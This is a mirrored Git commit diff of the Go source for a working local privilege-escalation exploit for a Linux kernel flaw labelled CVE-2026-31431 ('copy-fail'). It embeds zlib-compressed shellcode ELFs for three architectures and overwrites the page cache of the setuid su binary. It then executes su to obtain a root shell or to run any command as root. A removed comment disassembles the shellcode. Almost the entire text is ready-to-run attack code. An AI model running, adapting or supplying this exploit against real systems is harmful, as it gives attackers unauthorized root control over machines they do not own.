mirror of
https://github.com/badsectorlabs/copyfail-go.git
synced 2026-05-16 06:30:10 +00:00
✨feat: allow binary exec and improve documentation
- Added new shellcode payloads for exec-argv1 and exec-bin-sh for amd64, i386, and aarch64 architectures. - Introduced a backup feature for the su binary before overwriting it. - Enhanced README.md with usage instructions and details about affected kernels. - Added build-n-print.sh script for building and printing payloads in hex format.
This commit is contained in:
parent
e52acbb172
commit
131f7d1842
12 changed files with 552 additions and 63 deletions
161
main.go
161
main.go
|
|
@ -7,6 +7,7 @@ import (
|
|||
"bytes"
|
||||
"compress/zlib"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
|
|
@ -14,6 +15,7 @@ import (
|
|||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
|
@ -29,6 +31,20 @@ const (
|
|||
ALG_SET_AEAD_AUTHSIZE = 5
|
||||
)
|
||||
|
||||
// See payloads/exec-bin-sh-* for the shellcode
|
||||
var payloadsZlibHex = map[string]string{
|
||||
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
|
||||
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
|
||||
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
|
||||
}
|
||||
|
||||
// See payloads/exec-argv1-* for the shellcode
|
||||
var execArgv1ZlibHex = map[string]string{
|
||||
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
|
||||
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
|
||||
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
|
||||
}
|
||||
|
||||
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
|
||||
func packCmsg(level, typ int, data []byte) []byte {
|
||||
cmsgSpace := unix.CmsgSpace(len(data))
|
||||
|
|
@ -136,49 +152,6 @@ func decompressPayload(zlibBytes []byte) []byte {
|
|||
return payload
|
||||
}
|
||||
|
||||
func printHelp() {
|
||||
prog := os.Args[0]
|
||||
fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog)
|
||||
fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n")
|
||||
fmt.Fprintf(os.Stderr, "Overwrites the page cache of su and runs su.\n")
|
||||
fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n")
|
||||
}
|
||||
|
||||
// Minimal static ELF that calls setuid(0); execve("/bin/sh", NULL, NULL); exit(0).
|
||||
// One per supported architecture, zlib-compressed for compactness.
|
||||
//
|
||||
// x86_64 ELF (160 bytes) - shellcode at file offset 0x78:
|
||||
// 31 c0 xor eax, eax
|
||||
// 31 ff xor edi, edi
|
||||
// b0 69 mov al, 0x69 ; SYS_setuid
|
||||
// 0f 05 syscall
|
||||
// 48 8d 3d 0f.. lea rdi, [rip+0xf] ; "/bin/sh"
|
||||
// 31 f6 xor esi, esi
|
||||
// 6a 3b 58 push 0x3b; pop rax ; SYS_execve
|
||||
// 99 cdq ; rdx = 0
|
||||
// 0f 05 syscall
|
||||
// 31 ff xor edi, edi
|
||||
// 6a 3c 58 push 0x3c; pop rax ; SYS_exit
|
||||
// 0f 05 syscall
|
||||
//
|
||||
// aarch64 ELF (172 bytes) - shellcode at file offset 0x78:
|
||||
// d2800000 mov x0, #0
|
||||
// d2801248 mov x8, #146 ; SYS_setuid
|
||||
// d4000001 svc #0
|
||||
// 10000100 adr x0, sh
|
||||
// d2800001 mov x1, #0
|
||||
// d2800002 mov x2, #0
|
||||
// d2801ba8 mov x8, #221 ; SYS_execve
|
||||
// d4000001 svc #0
|
||||
// d2800000 mov x0, #0
|
||||
// d2800ba8 mov x8, #93 ; SYS_exit
|
||||
// d4000001 svc #0
|
||||
// "/bin/sh\0"
|
||||
var payloadsZlibHex = map[string]string{
|
||||
"amd64": "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3",
|
||||
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
|
||||
}
|
||||
|
||||
// resolveSu returns the path to the su binary. It prefers /usr/bin/su when
|
||||
// present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)).
|
||||
func resolveSu() (string, error) {
|
||||
|
|
@ -193,22 +166,83 @@ func resolveSu() (string, error) {
|
|||
return p, nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
for _, arg := range os.Args[1:] {
|
||||
switch arg {
|
||||
case "-h", "--help", "-help":
|
||||
printHelp()
|
||||
os.Exit(0)
|
||||
}
|
||||
// backupSuBinary copies src to dst before page-cache corruption. Preserves
|
||||
// permission bits including setuid/setgid/sticky and access/modification times.
|
||||
func backupSuBinary(src, dst string) error {
|
||||
var meta unix.Stat_t
|
||||
if err := unix.Stat(src, &meta); err != nil {
|
||||
return fmt.Errorf("stat %s: %w", src, err)
|
||||
}
|
||||
// Cast these to int64 so we can compile for 32 bit architectures
|
||||
atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec))
|
||||
mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec))
|
||||
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open %s: %w", src, err)
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
fi, err := in.Stat()
|
||||
if err != nil {
|
||||
return fmt.Errorf("fstat %s: %w", src, err)
|
||||
}
|
||||
|
||||
// Pick payload for the running architecture. The amd64 ELF is the
|
||||
// original from https://github.com/theori-io/copy-fail-CVE-2026-31431;
|
||||
// the arm64 ELF is an equivalent reconstructed from scratch (see the
|
||||
// payloadsZlibHex doc comment for shellcode disassembly).
|
||||
payloadHex, ok := payloadsZlibHex[runtime.GOARCH]
|
||||
if !ok {
|
||||
log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
|
||||
const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky
|
||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create %s: %w", dst, err)
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
if _, err := io.Copy(out, in); err != nil {
|
||||
return fmt.Errorf("copy to %s: %w", dst, err)
|
||||
}
|
||||
if err := out.Sync(); err != nil {
|
||||
return fmt.Errorf("sync %s: %w", dst, err)
|
||||
}
|
||||
if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil {
|
||||
return fmt.Errorf("chmod %s: %w", dst, err)
|
||||
}
|
||||
if err := os.Chtimes(dst, atime, mtime); err != nil {
|
||||
return fmt.Errorf("chtimes %s: %w", dst, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
var suArgv1 string
|
||||
var useExecArgv1 bool
|
||||
var backupPath string
|
||||
flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting")
|
||||
flag.Func("exec", "command to run as root; full path required", func(s string) error {
|
||||
useExecArgv1 = true
|
||||
suArgv1 = s
|
||||
return nil
|
||||
})
|
||||
flag.Usage = func() {
|
||||
fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
|
||||
flag.PrintDefaults()
|
||||
fmt.Fprintln(os.Stderr)
|
||||
fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).")
|
||||
fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.")
|
||||
fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.")
|
||||
}
|
||||
flag.Parse()
|
||||
|
||||
var payloadHex string
|
||||
var ok bool
|
||||
if useExecArgv1 {
|
||||
payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH]
|
||||
if !ok {
|
||||
log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH)
|
||||
}
|
||||
} else {
|
||||
// Pick payload for the running architecture
|
||||
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
|
||||
if !ok {
|
||||
log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
|
||||
}
|
||||
}
|
||||
payloadZlib, err := hex.DecodeString(payloadHex)
|
||||
if err != nil {
|
||||
|
|
@ -221,6 +255,13 @@ func main() {
|
|||
log.Fatalf("%v", err)
|
||||
}
|
||||
|
||||
if backupPath != "" {
|
||||
if err := backupSuBinary(suPath, backupPath); err != nil {
|
||||
log.Fatalf("Backup failed: %v", err)
|
||||
}
|
||||
log.Printf("Backed up %s to %s", suPath, backupPath)
|
||||
}
|
||||
|
||||
// Open target file in read-only mode
|
||||
f, err := os.Open(suPath)
|
||||
if err != nil {
|
||||
|
|
@ -251,7 +292,11 @@ func main() {
|
|||
// Execute the now-overwritten binary to trigger privilege escalation
|
||||
log.Println("Executing payload")
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command("su")
|
||||
if useExecArgv1 {
|
||||
cmd = exec.Command("su", suArgv1)
|
||||
} else {
|
||||
cmd = exec.Command("su")
|
||||
}
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue